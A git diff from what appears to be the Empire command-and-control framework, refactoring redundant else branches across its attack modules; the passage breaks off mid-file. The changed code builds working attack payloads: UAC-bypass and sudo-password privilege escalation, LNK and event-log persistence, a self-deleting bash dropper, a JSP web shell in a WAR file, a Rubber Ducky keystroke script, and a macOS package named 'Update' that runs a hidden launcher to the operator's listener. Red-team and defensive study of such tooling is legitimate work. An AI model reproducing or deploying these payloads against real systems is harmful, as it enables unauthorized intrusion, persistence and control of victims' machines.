a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index 92b046ed7..9d885656a 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -57,18 +57,16 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - stager_code = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - obfuscate=False, - encode=False, - ) + stager_code = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + obfuscate=False, + encode=False, + ) - if stager_code == "": - return handle_error_message("[!] Error in launcher generation.") - else: - script = script.replace("REPLACE_LAUNCHER", stager_code) + if stager_code == "": + return handle_error_message("[!] Error in launcher generation.") + script = script.replace("REPLACE_LAUNCHER", stager_code) for option, values in params.items(): if ( diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py index c138cccee..42c09a65a 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py @@ -65,19 +65,17 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # set the listener value for the launcher - stager = main_menu.stagertemplatesv2.new_instance("multi_launcher") - stager.options["Listener"] = listener_name - stager.options["Base64"] = "False" - - # and generate the code - stager_code = stager.generate() - - if stager_code == "": - return handle_error_message("[!] Error creating stager") - else: - script = script.replace("REPLACE_LAUNCHER", stager_code) + # set the listener value for the launcher + stager = main_menu.stagertemplatesv2.new_instance("multi_launcher") + stager.options["Listener"] = listener_name + stager.options["Base64"] = "False" + + # and generate the code + stager_code = stager.generate() + + if stager_code == "": + return handle_error_message("[!] Error creating stager") + script = script.replace("REPLACE_LAUNCHER", stager_code) for option, values in params.items(): if ( diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index 4e87fe815..d413e5a7b 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -37,20 +37,19 @@ def generate( # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=False, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - launcher = launcher.replace("$", "`$") + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=False, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + launcher = launcher.replace("$", "`$") # read in the common module source code script, err = main_menu.modulesv2.get_module_source( diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index b4cc4596b..be6298e2e 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -23,38 +23,38 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - enc_launcher = " ".join(launcher.split(" ")[1:]) + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") - script = f""" + enc_launcher = " ".join(launcher.split(" ")[1:]) + + script = f""" if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1) {{ - while($True) {{ - try {{ - Start-Process "powershell" -ArgumentList "{enc_launcher}" -Verb runAs -WindowStyle hidden - "[*] Successfully elevated!" - break - }} - catch {{}} +while($True) {{ + try {{ + Start-Process "powershell" -ArgumentList "{enc_launcher}" -Verb runAs -WindowStyle hidden + "[*] Successfully elevated!" + break }} + catch {{}} +}} }} else {{ - "[!] User is not a local administrator!" +"[!] User is not a local administrator!" }} """ diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index 8d5efc29a..960218408 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -33,24 +33,23 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - script_end = f'Invoke-BypassUAC -Command "{launcher}"' + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + script_end = f'Invoke-BypassUAC -Command "{launcher}"' return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index b8c44d8f4..ea54b487a 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -33,27 +33,27 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - enc_script = launcher.split(" ")[-1] - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - script_end = f'Invoke-EnvBypass -Command "{enc_script}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + enc_script = launcher.split(" ")[-1] + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + + script_end = f'Invoke-EnvBypass -Command "{enc_script}"' + return main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index ed80eb137..a969dd9c6 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -33,25 +33,24 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - - encScript = launcher.split(" ")[-1] - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - script_end = f'Invoke-EventVwrBypass -Command "{encScript}"' + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + encScript = launcher.split(" ")[-1] + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + script_end = f'Invoke-EventVwrBypass -Command "{encScript}"' return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index db82a2430..cfab075e2 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -33,28 +33,28 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - - enc_script = launcher.split(" ")[-1] - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - script_end = f'Invoke-FodHelperBypass -Command "{enc_script}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + enc_script = launcher.split(" ")[-1] + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + + script_end = f'Invoke-FodHelperBypass -Command "{enc_script}"' + return main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index 3b9bda34a..5716576b2 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -33,28 +33,28 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - - enc_script = launcher.split(" ")[-1] - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - script_end = f'Invoke-SDCLTBypass -Command "{enc_script}"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + enc_script = launcher.split(" ")[-1] + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + + script_end = f'Invoke-SDCLTBypass -Command "{enc_script}"' + return main_menu.modulesv2.finalize_module( + script=script, + script_end=script_end, + obfuscate=obfuscate, + obfuscation_command=obfuscation_command, + ) diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index 56925839f..bbbdc258f 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -33,24 +33,23 @@ def generate( if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = main_menu.stagers.generate_launcher( - listenerName=listener_name, - language="powershell", - encode=True, - obfuscate=launcher_obfuscate, - obfuscation_command=launcher_obfuscate_command, - userAgent=user_agent, - proxy=proxy, - proxyCreds=proxy_creds, - bypasses=params["Bypasses"], - ) - - if launcher == "": - return handle_error_message("[!] Error in launcher generation.") - else: - script_end = f'Invoke-WScriptBypassUAC -payload "{launcher}"' + + # generate the PowerShell one-liner with all of the proper options set + launcher = main_menu.stagers.generate_launcher( + listenerName=listener_name, + language="powershell", + encode=True, + obfuscate=launcher_obfuscate, + obfuscation_command=launcher_obfuscate_command, + userAgent=user_agent, + proxy=proxy, + proxyCreds=proxy_creds, + bypasses=params["Bypasses"], + ) + + if launcher == "": + return handle_error_message("[!] Error in launcher generation.") + script_end = f'Invoke-WScriptBypassUAC -payload "{launcher}"' return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py index 8d073509e..97b37b29c 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py @@ -51,12 +51,12 @@ def generate( if launcher_code == "": return handle_error_message("[!] Error in launcher .bat generation.") - else: - script_end += ( - '\nInstall-ServiceBinary -ServiceName "' - + str(service_name) - + '" -Command "C:\\Windows\\System32\\cmd.exe /C $tempLoc"' - ) + + script_end += ( + '\nInstall-ServiceBinary -ServiceName "' + + str(service_name) + + '" -Command "C:\\Windows\\System32\\cmd.exe /C $tempLoc"' + ) return main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 7af2c0f53..5e1bd5f68 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -52,10 +52,9 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher command generation.") - else: - out_file = params["DllPath"] - script_end += f' -Command "{launcher}"' - script_end += f" -DllPath {out_file}" + out_file = params["DllPath"] + script_end += f' -Command "{launcher}"' + script_end += f" -DllPath {out_file}" outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py index a4f84b6bd..b20b72320 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py @@ -37,7 +37,7 @@ def generate( obfuscation_command=obfuscation_command, ) - elif params["4648"].lower() == "true": + if params["4648"].lower() == "true": script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" script_end += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' script_end += "Write-Output $Filtered4648.Values" @@ -49,7 +49,7 @@ def generate( obfuscation_command=obfuscation_command, ) - elif params["AppLocker"].lower() == "true": + if params["AppLocker"].lower() == "true": script_end += "$AppLockerLogs = Find-AppLockerLogs;" script_end += 'Write-Output "AppLocker Process Starts:`n";' script_end += "Write-Output $AppLockerLogs.Values" @@ -61,7 +61,7 @@ def generate( obfuscation_command=obfuscation_command, ) - elif params["PSScripts"].lower() == "true": + if params["PSScripts"].lower() == "true": script_end += "$PSLogs = Find-PSScriptsInPSAppLog;" script_end += 'Write-Output "PowerShell Script Executions:`n";' script_end += "Write-Output $PSLogs.Values" @@ -73,7 +73,7 @@ def generate( obfuscation_command=obfuscation_command, ) - elif params["SavedRDP"].lower() == "true": + if params["SavedRDP"].lower() == "true": script_end += "$RdpClientData = Find-RDPClientConnections;" script_end += 'Write-Output "RDP Client Data:`n";' script_end += "Write-Output $RdpClientData.Values" diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py index 05407b075..ace04d228 100644 --- a/empire/server/modules/python/management/multi/spawn.py +++ b/empire/server/modules/python/management/multi/spawn.py @@ -23,6 +23,6 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher command generation.") - else: - launcher = launcher.replace('"', '\\"') - return f'import os; os.system("{launcher}")' + + launcher = launcher.replace('"', '\\"') + return f'import os; os.system("{launcher}")' diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py index 3328fdd31..fa53cd43e 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.py +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py @@ -27,11 +27,11 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher command generation.") - else: - password = params["Password"] - launcher = launcher.replace('"', '\\"') - launcher = launcher.replace("echo", "") - parts = launcher.split("|") - launcher = f"python3 -c {parts[0]}" - return f'import subprocess; subprocess.Popen("echo \\"{password}\\" | sudo -S {launcher}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' + password = params["Password"] + + launcher = launcher.replace('"', '\\"') + launcher = launcher.replace("echo", "") + parts = launcher.split("|") + launcher = f"python3 -c {parts[0]}" + return f'import subprocess; subprocess.Popen("echo \\"{password}\\" | sudo -S {launcher}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py index 4d919f740..617ba16b0 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.py +++ b/empire/server/modules/python/privesc/osx/piggyback.py @@ -27,12 +27,12 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher command generation.") - else: - launcher = launcher.replace("'", "\\'") - launcher = launcher.replace("echo", "") - parts = launcher.split("|") - launcher = f"sudo python -c {parts[0]}" - return f""" + + launcher = launcher.replace("'", "\\'") + launcher = launcher.replace("echo", "") + parts = launcher.split("|") + launcher = f"sudo python -c {parts[0]}" + return f""" import os import time import subprocess diff --git a/empire/server/stagers/multi/bash.py b/empire/server/stagers/multi/bash.py index 25cec286d..d4dd91e40 100644 --- a/empire/server/stagers/multi/bash.py +++ b/empire/server/stagers/multi/bash.py @@ -84,9 +84,8 @@ def generate(self): log.error("Error in launcher command generation.") return "" - else: - script = "#!/bin/bash\n" - script += f"{launcher}\n" - script += 'rm -f "$0"\n' - script += "exit\n" - return script + script = "#!/bin/bash\n" + script += f"{launcher}\n" + script += 'rm -f "$0"\n' + script += "exit\n" + return script diff --git a/empire/server/stagers/multi/generate_agent.py b/empire/server/stagers/multi/generate_agent.py index d4dae0490..f73937798 100755 --- a/empire/server/stagers/multi/generate_agent.py +++ b/empire/server/stagers/multi/generate_agent.py @@ -120,7 +120,7 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher generation.") return "" - elif not launcher or launcher.lower() == "failed": + if not launcher or launcher.lower() == "failed": log.error("[!] Error in launcher command generation.") return "" diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index e8435ab65..248f6adcf 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -100,75 +100,75 @@ def generate(self): log.error("pyInstaller is not installed") log.error("Try: apt-get -y install python-pip && pip install pyinstaller") return "" - else: - # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher( - listenerName=listener_name, - language=language, - encode=encode, - userAgent=user_agent, - safeChecks=safe_checks, - ) - if launcher == "": - log.error("Error in launcher command generation.") - return "" - else: - active_listener = self.mainMenu.listenersv2.get_active_listener_by_name( - listener_name - ) - - agent_code = active_listener.generate_agent( - active_listener.options, language=language - ) - comms_code = active_listener.generate_comms( - active_listener.options, language=language - ) - - stager_code = active_listener.generate_stager( - active_listener.options, - language=language, - encrypt=False, - encode=False, - ) - - imports_list = [] - for code in [agent_code, comms_code, stager_code]: - for line in code.splitlines(): - _line = line.strip() - if _line.startswith("from System"): - # Skip Ironpython imports - pass - elif _line.startswith("import sslzliboff"): - # Sockschain checks to import this, so we will just skip it - pass - elif _line.startswith("import ") or _line.startswith("from "): - imports_list.append(_line) - - imports_list.append("import trace") - imports_list.append("import json") - imports_list = list(set(imports_list)) # removing duplicate strings - imports_str = "\n".join(imports_list) - launcher = imports_str + "\n" + launcher - - with open(binary_file_str + ".py", "w") as text_file: - text_file.write(f"{launcher}") - - output_str = subprocess.run( - [ - "pyinstaller", - "-y", - "--clean", - "--specpath", - os.path.dirname(binary_file_str), - "--distpath", - os.path.dirname(binary_file_str), - "--workpath", - "/tmp/" + str(time.time()) + "-build/", - "--onefile", - binary_file_str + ".py", - ], - check=False, - ) - - with open(binary_file_str, "rb") as f: - return f.read() + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher( + listenerName=listener_name, + language=language, + encode=encode, + userAgent=user_agent, + safeChecks=safe_checks, + ) + if launcher == "": + log.error("Error in launcher command generation.") + return "" + + active_listener = self.mainMenu.listenersv2.get_active_listener_by_name( + listener_name + ) + + agent_code = active_listener.generate_agent( + active_listener.options, language=language + ) + comms_code = active_listener.generate_comms( + active_listener.options, language=language + ) + + stager_code = active_listener.generate_stager( + active_listener.options, + language=language, + encrypt=False, + encode=False, + ) + + imports_list = [] + for code in [agent_code, comms_code, stager_code]: + for line in code.splitlines(): + _line = line.strip() + if _line.startswith("from System"): + # Skip Ironpython imports + pass + elif _line.startswith("import sslzliboff"): + # Sockschain checks to import this, so we will just skip it + pass + elif _line.startswith("import ") or _line.startswith("from "): + imports_list.append(_line) + + imports_list.append("import trace") + imports_list.append("import json") + imports_list = list(set(imports_list)) # removing duplicate strings + imports_str = "\n".join(imports_list) + launcher = imports_str + "\n" + launcher + + with open(binary_file_str + ".py", "w") as text_file: + text_file.write(f"{launcher}") + + output_str = subprocess.run( + [ + "pyinstaller", + "-y", + "--clean", + "--specpath", + os.path.dirname(binary_file_str), + "--distpath", + os.path.dirname(binary_file_str), + "--workpath", + "/tmp/" + str(time.time()) + "-build/", + "--onefile", + binary_file_str + ".py", + ], + check=False, + ) + + with open(binary_file_str, "rb") as f: + return f.read() diff --git a/empire/server/stagers/multi/war.py b/empire/server/stagers/multi/war.py index 5a564e268..7f55ab12c 100644 --- a/empire/server/stagers/multi/war.py +++ b/empire/server/stagers/multi/war.py @@ -143,23 +143,22 @@ def generate(self): log.error("Error in launcher command generation.") return "" - else: - # .war manifest - manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n" + # .war manifest + manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n" - # Create initial JSP and Web XML Strings with placeholders - jsp_code = ( - '''<%@ page import="java.io.*" %> + # Create initial JSP and Web XML Strings with placeholders + jsp_code = ( + '''<%@ page import="java.io.*" %> <% Process p=Runtime.getRuntime().exec("''' - + str(launcher) - + """"); + + str(launcher) + + """"); %> """ - ) + ) - # .xml deployment config - wxml_code = f""" + # .xml deployment config + wxml_code = f""" @@ -171,13 +170,13 @@ def generate(self): """ - # build the in-memory ZIP and write the three files in - war_file = io.BytesIO() - zip_data = zipfile.ZipFile(war_file, "w", zipfile.ZIP_DEFLATED) + # build the in-memory ZIP and write the three files in + war_file = io.BytesIO() + zip_data = zipfile.ZipFile(war_file, "w", zipfile.ZIP_DEFLATED) - zip_data.writestr("META-INF/MANIFEST.MF", manifest) - zip_data.writestr("WEB-INF/web.xml", wxml_code) - zip_data.writestr(f"{app_name}.jsp", jsp_code) - zip_data.close() + zip_data.writestr("META-INF/MANIFEST.MF", manifest) + zip_data.writestr("WEB-INF/web.xml", wxml_code) + zip_data.writestr(f"{app_name}.jsp", jsp_code) + zip_data.close() - return war_file.getvalue() + return war_file.getvalue() diff --git a/empire/server/stagers/osx/applescript.py b/empire/server/stagers/osx/applescript.py index 6e141005e..2a567f55a 100644 --- a/empire/server/stagers/osx/applescript.py +++ b/empire/server/stagers/osx/applescript.py @@ -77,6 +77,5 @@ def generate(self): log.error("Error in launcher command generation.") return "" - else: - launcher = launcher.replace('"', '\\"') - return f'do shell script "{launcher}"' + launcher = launcher.replace('"', '\\"') + return f'do shell script "{launcher}"' diff --git a/empire/server/stagers/osx/application.py b/empire/server/stagers/osx/application.py index 0a276d7ad..fa2288c11 100644 --- a/empire/server/stagers/osx/application.py +++ b/empire/server/stagers/osx/application.py @@ -98,15 +98,14 @@ def generate(self): log.error("Error in launcher command generation.") return "" - else: - disarm = False - launcher = removeprefix(launcher, "echo ") - launcher = removesuffix(launcher, " | python3 &") - launcher = launcher.strip('"') - return self.mainMenu.stagers.generate_appbundle( - launcherCode=launcher, - Arch=arch, - icon=icns_path, - AppName=app_name, - disarm=disarm, - ) + disarm = False + launcher = removeprefix(launcher, "echo ") + launcher = removesuffix(launcher, " | python3 &") + launcher = launcher.strip('"') + return self.mainMenu.stagers.generate_appbundle( + launcherCode=launcher, + Arch=arch, + icon=icns_path, + AppName=app_name, + disarm=disarm, + ) diff --git a/empire/server/stagers/osx/ducky.py b/empire/server/stagers/osx/ducky.py index 47dd5fde4..de73a7342 100755 --- a/empire/server/stagers/osx/ducky.py +++ b/empire/server/stagers/osx/ducky.py @@ -74,15 +74,15 @@ def generate(self): if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - ducky_code = "DELAY 1000\n" - ducky_code += "COMMAND SPACE\n" - ducky_code += "DELAY 1000\n" - ducky_code += "STRING TERMINAL\n" - ducky_code += "ENTER \n" - ducky_code += "DELAY 1000\n" - ducky_code += "STRING " + launcher - ducky_code += "\nENTER\n" - ducky_code += "DELAY 1000\n" - return ducky_code + ducky_code = "DELAY 1000\n" + ducky_code += "COMMAND SPACE\n" + ducky_code += "DELAY 1000\n" + ducky_code += "STRING TERMINAL\n" + ducky_code += "ENTER \n" + ducky_code += "DELAY 1000\n" + ducky_code += "STRING " + launcher + ducky_code += "\nENTER\n" + ducky_code += "DELAY 1000\n" + + return ducky_code diff --git a/empire/server/stagers/osx/dylib.py b/empire/server/stagers/osx/dylib.py index a4db83755..5c99740e9 100644 --- a/empire/server/stagers/osx/dylib.py +++ b/empire/server/stagers/osx/dylib.py @@ -93,10 +93,9 @@ def generate(self): print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - launcher = removeprefix(launcher, "echo ") - launcher = removesuffix(launcher, " | python3 &") - launcher = launcher.strip('"') - return self.mainMenu.stagers.generate_dylib( - launcherCode=launcher, arch=arch, hijacker=hijacker - ) + launcher = removeprefix(launcher, "echo ") + launcher = removesuffix(launcher, " | python3 &") + launcher = launcher.strip('"') + return self.mainMenu.stagers.generate_dylib( + launcherCode=launcher, arch=arch, hijacker=hijacker + ) diff --git a/empire/server/stagers/osx/jar.py b/empire/server/stagers/osx/jar.py index d26089faf..97bcb8932 100644 --- a/empire/server/stagers/osx/jar.py +++ b/empire/server/stagers/osx/jar.py @@ -73,6 +73,6 @@ def generate(self): if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - launcher = launcher.replace('"', '\\"') - return self.mainMenu.stagers.generate_jar(launcherCode=launcher) + + launcher = launcher.replace('"', '\\"') + return self.mainMenu.stagers.generate_jar(launcherCode=launcher) diff --git a/empire/server/stagers/osx/macho.py b/empire/server/stagers/osx/macho.py index 999eef2a5..3175c4c35 100644 --- a/empire/server/stagers/osx/macho.py +++ b/empire/server/stagers/osx/macho.py @@ -77,6 +77,4 @@ def generate(self): print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - # launcher = launcher.strip('echo') - return self.mainMenu.stagers.generate_macho(launcher) + return self.mainMenu.stagers.generate_macho(launcher) diff --git a/empire/server/stagers/osx/pkg.py b/empire/server/stagers/osx/pkg.py index 3dc1a9488..3a258eb96 100644 --- a/empire/server/stagers/osx/pkg.py +++ b/empire/server/stagers/osx/pkg.py @@ -89,20 +89,19 @@ def generate(self): print(helpers.color("[!] Error in launcher command generation.")) return "" - else: - if app_name == "": - app_name = "Update" - disarm = True - launcher_code = removeprefix(launcher, "echo ") - launcher_code = removesuffix(launcher_code, " | python3 &") - launcher_code = launcher_code.strip('"') - application_zip = self.mainMenu.stagers.generate_appbundle( - launcherCode=launcher_code, - Arch=arch, - icon=icns_path, - AppName=app_name, - disarm=disarm, - ) - return self.mainMenu.stagers.generate_pkg( - launcher=launcher, bundleZip=application_zip, AppName=app_name - ) + if 